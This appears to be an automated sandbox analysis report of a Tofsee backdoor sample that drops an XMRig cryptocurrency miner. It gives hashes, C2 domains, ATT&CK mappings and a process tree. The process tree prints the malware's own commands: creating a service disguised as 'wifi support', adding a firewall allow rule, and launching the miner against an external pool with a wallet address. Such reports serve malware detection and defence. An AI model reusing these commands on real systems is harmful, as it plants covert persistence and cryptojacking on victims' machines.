Analysis

  • max time kernel
    149s
  • max time network
    152s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20220414-en
  • submitted
    06-06-2022 10:36

General

  • Target

    1d8b78fcbb6f3e68c24f759b86c7cea38f5b5642a9d2c556cc9c35a7ee24b8d4.exe

  • Size

    262KB

  • MD5

    57efeee8a462cb7aad1342613a7afb96

  • SHA1

    3fafa99c551edd87e9faadefc600f324c8203542

  • SHA256

    1d8b78fcbb6f3e68c24f759b86c7cea38f5b5642a9d2c556cc9c35a7ee24b8d4

  • SHA512

    1cfb3ef43304a6bd4368eb875e7a50ed88b0cd60ad477a95197f9be7bfe32930c1e1d3cd15a8e7793c6c594727e521c4d96d4fd1097733410400a8f100c4daf1

Malware Config

Extracted

Family

tofsee

C2

svartalfheim.top

jotunheim.name

Signatures

  • Tofsee

    Backdoor/botnet which carries out malicious activities based on commands from a C2 server.

  • xmrig

    XMRig is a high performance, open source, cross platform CPU/GPU miner.

  • XMRig Miner Payload 2 IoCs
  • Creates new service(s) 1 TTPs
  • Executes dropped EXE 1 IoCs
  • Modifies Windows Firewall 1 TTPs 1 IoCs
  • Sets service image path in registry 2 TTPs 1 IoCs
  • Checks computer location settings 2 TTPs 1 IoCs

    Looks up country code configured in the registry, likely geofence.

  • Looks up external IP address via web service 1 IoCs

    Uses a legitimate IP lookup service to find the infected system's external IP.

  • Drops file in System32 directory 2 IoCs
  • Suspicious use of SetThreadContext 2 IoCs
  • Launches sc.exe 3 IoCs

    Sc.exe is a Windows utlilty to control services on the system.

  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

  • Program crash 2 IoCs
  • Modifies data under HKEY_USERS 7 IoCs
  • Suspicious use of AdjustPrivilegeToken 1 IoCs
  • Suspicious use of WriteProcessMemory 28 IoCs

Processes

  • C:\Users\Admin\AppData\Local\Temp\1d8b78fcbb6f3e68c24f759b86c7cea38f5b5642a9d2c556cc9c35a7ee24b8d4.exe
    "C:\Users\Admin\AppData\Local\Temp\1d8b78fcbb6f3e68c24f759b86c7cea38f5b5642a9d2c556cc9c35a7ee24b8d4.exe"
    1⤵
    • Checks computer location settings
    • Suspicious use of WriteProcessMemory
    PID:3288
    • C:\Windows\SysWOW64\cmd.exe
      "C:\Windows\System32\cmd.exe" /C mkdir C:\Windows\SysWOW64\anlclax\
      2⤵
        PID:1812
      • C:\Windows\SysWOW64\cmd.exe
        "C:\Windows\System32\cmd.exe" /C move /Y "C:\Users\Admin\AppData\Local\Temp\hdyblhlw.exe" C:\Windows\SysWOW64\anlclax\
        2⤵
          PID:2896
        • C:\Windows\SysWOW64\sc.exe
          "C:\Windows\System32\sc.exe" create anlclax binPath= "C:\Windows\SysWOW64\anlclax\hdyblhlw.exe /d\"C:\Users\Admin\AppData\Local\Temp\1d8b78fcbb6f3e68c24f759b86c7cea38f5b5642a9d2c556cc9c35a7ee24b8d4.exe\"" type= own start= auto DisplayName= "wifi support"
          2⤵
          • Launches sc.exe
          PID:5028
        • C:\Windows\SysWOW64\sc.exe
          "C:\Windows\System32\sc.exe" description anlclax "wifi internet conection"
          2⤵
          • Launches sc.exe
          PID:4588
        • C:\Windows\SysWOW64\sc.exe
          "C:\Windows\System32\sc.exe" start anlclax
          2⤵
          • Launches sc.exe
          PID:2952
        • C:\Windows\SysWOW64\netsh.exe
          "C:\Windows\System32\netsh.exe" advfirewall firewall add rule name="Host-process for services of Windows" dir=in action=allow program="C:\Windows\SysWOW64\svchost.exe" enable=yes>nul
          2⤵
          • Modifies Windows Firewall
          PID:4468
        • C:\Windows\SysWOW64\WerFault.exe
          C:\Windows\SysWOW64\WerFault.exe -u -p 3288 -s 1040
          2⤵
          • Program crash
          PID:2036
      • C:\Windows\SysWOW64\anlclax\hdyblhlw.exe
        C:\Windows\SysWOW64\anlclax\hdyblhlw.exe /d"C:\Users\Admin\AppData\Local\Temp\1d8b78fcbb6f3e68c24f759b86c7cea38f5b5642a9d2c556cc9c35a7ee24b8d4.exe"
        1⤵
        • Executes dropped EXE
        • Suspicious use of SetThreadContext
        • Suspicious use of WriteProcessMemory
        PID:4544
        • C:\Windows\SysWOW64\svchost.exe
          svchost.exe
          2⤵
          • Sets service image path in registry
          • Drops file in System32 directory
          • Suspicious use of SetThreadContext
          • Modifies data under HKEY_USERS
          • Suspicious use of WriteProcessMemory
          PID:5060
          • C:\Windows\SysWOW64\svchost.exe
            svchost.exe -o fastpool.xyz:10060 -u 9mLwUkiK8Yp89zQQYodWKN29jVVVz1cWDFZctWxge16Zi3TpHnSBnnVcCDhSRXdesnMBdVjtDwh1N71KD9z37EzgKSM1tmS.60000 -p x -k -a cn/half
            3⤵
            • Suspicious use of AdjustPrivilegeToken
            PID:1748
        • C:\Windows\SysWOW64\WerFault.exe
          C:\Windows\SysWOW64\WerFault.exe -u -p 4544 -s 560
          2⤵
          • Program crash
          PID:4816
      • C:\Windows\SysWOW64\WerFault.exe
        C:\Windows\SysWOW64\WerFault.exe -pss -s 444 -p 3288 -ip 3288
        1⤵
          PID:3312
        • C:\Windows\SysWOW64\WerFault.exe
          C:\Windows\SysWOW64\WerFault.exe -pss -s 556 -p 4544 -ip 4544
          1⤵
            PID:1236

          Network

          MITRE ATT&CK Matrix ATT&CK v6

          Persistence

          New Service

          1
          T1050

          Modify Existing Service

          1
          T1031

          Registry Run Keys / Startup Folder

          1
          T1060

          Privilege Escalation

          New Service

          1
          T1050

          Defense Evasion

          Modify Registry

          1
          T1112

          Discovery

          Query Registry

          1
          T1012

          System Information Discovery

          2
          T1082

          Replay Monitor

          Loading Replay Monitor...

          Downloads

          • C:\Users\Admin\AppData\Local\Temp\hdyblhlw.exe
            Filesize

            11.0MB

            MD5

            2588c713a640950d0131ba52e20cb7ab

            SHA1

            fbd93dd7afad6067be5c40a55052ad49f0fbfdea

            SHA256

            dad83aba6c45dea264b662f754ae7aefe0b3b637cbc17840b179d3f475ee3a75

            SHA512

            eadc0773fcd3ea407a7ada425eda40492c287b6663ca41321e20991bcda8819dfa4e516b7b410fadbbd91261f781f203ea8d8c8a2cfc86637693cb0fd5249337

          • C:\Windows\SysWOW64\anlclax\hdyblhlw.exe
            Filesize

            11.0MB

            MD5

            2588c713a640950d0131ba52e20cb7ab

            SHA1

            fbd93dd7afad6067be5c40a55052ad49f0fbfdea

            SHA256

            dad83aba6c45dea264b662f754ae7aefe0b3b637cbc17840b179d3f475ee3a75

            SHA512

            eadc0773fcd3ea407a7ada425eda40492c287b6663ca41321e20991bcda8819dfa4e516b7b410fadbbd91261f781f203ea8d8c8a2cfc86637693cb0fd5249337

          • memory/1748-170-0x0000000000A10000-0x0000000000B01000-memory.dmp
            Filesize

            964KB

          • memory/1748-169-0x0000000000000000-mapping.dmp
          • memory/1748-175-0x0000000000A10000-0x0000000000B01000-memory.dmp
            Filesize

            964KB

          • memory/1812-130-0x0000000000000000-mapping.dmp
          • memory/2896-133-0x0000000000000000-mapping.dmp
          • memory/2952-138-0x0000000000000000-mapping.dmp
          • memory/3288-131-0x0000000002E82000-0x0000000002E92000-memory.dmp
            Filesize

            64KB

          • memory/3288-135-0x0000000000400000-0x0000000002DB8000-memory.dmp
            Filesize

            41.7MB

          • memory/3288-141-0x0000000002E82000-0x0000000002E92000-memory.dmp
            Filesize

            64KB

          • memory/3288-149-0x0000000000400000-0x0000000002DB8000-memory.dmp
            Filesize

            41.7MB

          • memory/3288-132-0x0000000002E40000-0x0000000002E53000-memory.dmp
            Filesize

            76KB

          • memory/4468-140-0x0000000000000000-mapping.dmp
          • memory/4544-146-0x0000000002DEE000-0x0000000002DFE000-memory.dmp
            Filesize

            64KB

          • memory/4544-147-0x0000000000400000-0x0000000002DB8000-memory.dmp
            Filesize

            41.7MB

          • memory/4588-137-0x0000000000000000-mapping.dmp
          • memory/5028-136-0x0000000000000000-mapping.dmp
          • memory/5060-148-0x0000000000850000-0x0000000000865000-memory.dmp
            Filesize

            84KB

          • memory/5060-150-0x0000000000850000-0x0000000000865000-memory.dmp
            Filesize

            84KB

          • memory/5060-151-0x0000000002400000-0x000000000260F000-memory.dmp
            Filesize

            2.1MB

          • memory/5060-154-0x0000000001BC0000-0x0000000001BC6000-memory.dmp
            Filesize

            24KB

          • memory/5060-157-0x0000000001BD0000-0x0000000001BE0000-memory.dmp
            Filesize

            64KB

          • memory/5060-160-0x0000000001BE0000-0x0000000001BE5000-memory.dmp
            Filesize

            20KB

          • memory/5060-163-0x0000000007400000-0x000000000780B000-memory.dmp
            Filesize

            4.0MB

          • memory/5060-166-0x0000000001BF0000-0x0000000001BF7000-memory.dmp
            Filesize

            28KB

          • memory/5060-143-0x0000000000850000-0x0000000000865000-memory.dmp
            Filesize

            84KB

          • memory/5060-142-0x0000000000000000-mapping.dmp